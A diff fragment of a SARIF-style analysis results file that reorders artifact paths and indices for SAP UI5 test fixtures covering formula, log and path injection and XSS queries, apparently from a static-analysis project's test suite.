-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 87
             }
@@ -5313,7 +5313,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 88
             }
@@ -5339,7 +5339,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 89
             }
@@ -5365,7 +5365,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 90
             }
@@ -5391,7 +5391,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 91
             }
@@ -5417,7 +5417,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 92
             }
@@ -5443,7 +5443,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 93
             }
@@ -5469,7 +5469,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 94
             }
@@ -5495,7 +5495,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 95
             }
@@ -5521,7 +5521,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 96
             }
@@ -5547,7 +5547,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 97
             }
@@ -5573,7 +5573,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 98
             }
@@ -5599,7 +5599,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 99
             }
@@ -5625,7 +5625,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 100
             }
@@ -5651,7 +5651,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 101
             }
@@ -5677,7 +5677,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 102
             }
@@ -5703,7 +5703,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 103
             }
@@ -5729,7 +5729,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 104
             }
@@ -5755,7 +5755,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 105
             }
@@ -5781,7 +5781,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 106
             }
@@ -5807,7 +5807,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 107
             }
@@ -5833,7 +5833,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 108
             }
@@ -5859,7 +5859,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 109
             }
@@ -5885,9 +5885,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 110
+              "index" : 2
             }
           }
         } ],
@@ -5911,9 +5911,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 111
+              "index" : 110
             }
           }
         } ],
@@ -5937,9 +5937,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 3
+              "index" : 111
             }
           }
         } ],
@@ -5963,7 +5963,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 112
             }
@@ -5989,7 +5989,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 113
             }
@@ -6015,7 +6015,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 114
             }
@@ -6041,7 +6041,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 115
             }
@@ -6067,7 +6067,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 116
             }
@@ -6093,7 +6093,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 117
             }
@@ -6119,7 +6119,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 118
             }
@@ -6145,7 +6145,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 119
             }
@@ -6171,7 +6171,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 120
             }
@@ -6197,7 +6197,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 121
             }
@@ -6223,7 +6223,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 122
             }
@@ -6249,7 +6249,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 123
             }
@@ -6275,7 +6275,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 124
             }
@@ -6301,7 +6301,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 125
             }
@@ -6327,7 +6327,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 126
             }
@@ -6353,7 +6353,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 127
             }
@@ -6379,7 +6379,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 128
             }
@@ -6405,7 +6405,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 129
             }
@@ -6431,7 +6431,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 130
             }
@@ -6457,7 +6457,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 131
             }
@@ -6483,7 +6483,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 132
             }
@@ -6509,7 +6509,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 133
             }
@@ -6535,7 +6535,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 134
             }
@@ -6561,7 +6561,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 135
             }
@@ -6587,7 +6587,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 136
             }
@@ -6613,7 +6613,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 137
             }
@@ -6639,7 +6639,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 138
             }
@@ -6665,7 +6665,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 139
             }
@@ -6691,7 +6691,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 140
             }
@@ -6717,7 +6717,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 141
             }
@@ -6743,7 +6743,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 142
             }
@@ -6769,7 +6769,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 143
             }
@@ -6795,7 +6795,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 144
             }
@@ -6821,7 +6821,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 145
             }
@@ -6847,7 +6847,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 146
             }
@@ -6873,7 +6873,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 147
             }
@@ -6899,7 +6899,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 148
             }
@@ -6925,7 +6925,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 149
             }
@@ -6951,7 +6951,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 150
             }
@@ -6977,7 +6977,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 151
             }
@@ -7003,7 +7003,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 152
             }
@@ -7029,7 +7029,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 153
             }
@@ -7055,7 +7055,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 154
             }
@@ -7081,7 +7081,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 155
             }
@@ -7107,7 +7107,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 156
             }
@@ -7159,7 +7159,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 158
             }
@@ -7185,7 +7185,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 159
             }
@@ -7211,7 +7211,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 160
             }
@@ -7237,9 +7237,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 161
+              "index" : 0
             }
           }
         } ],
@@ -7263,9 +7263,9 @@
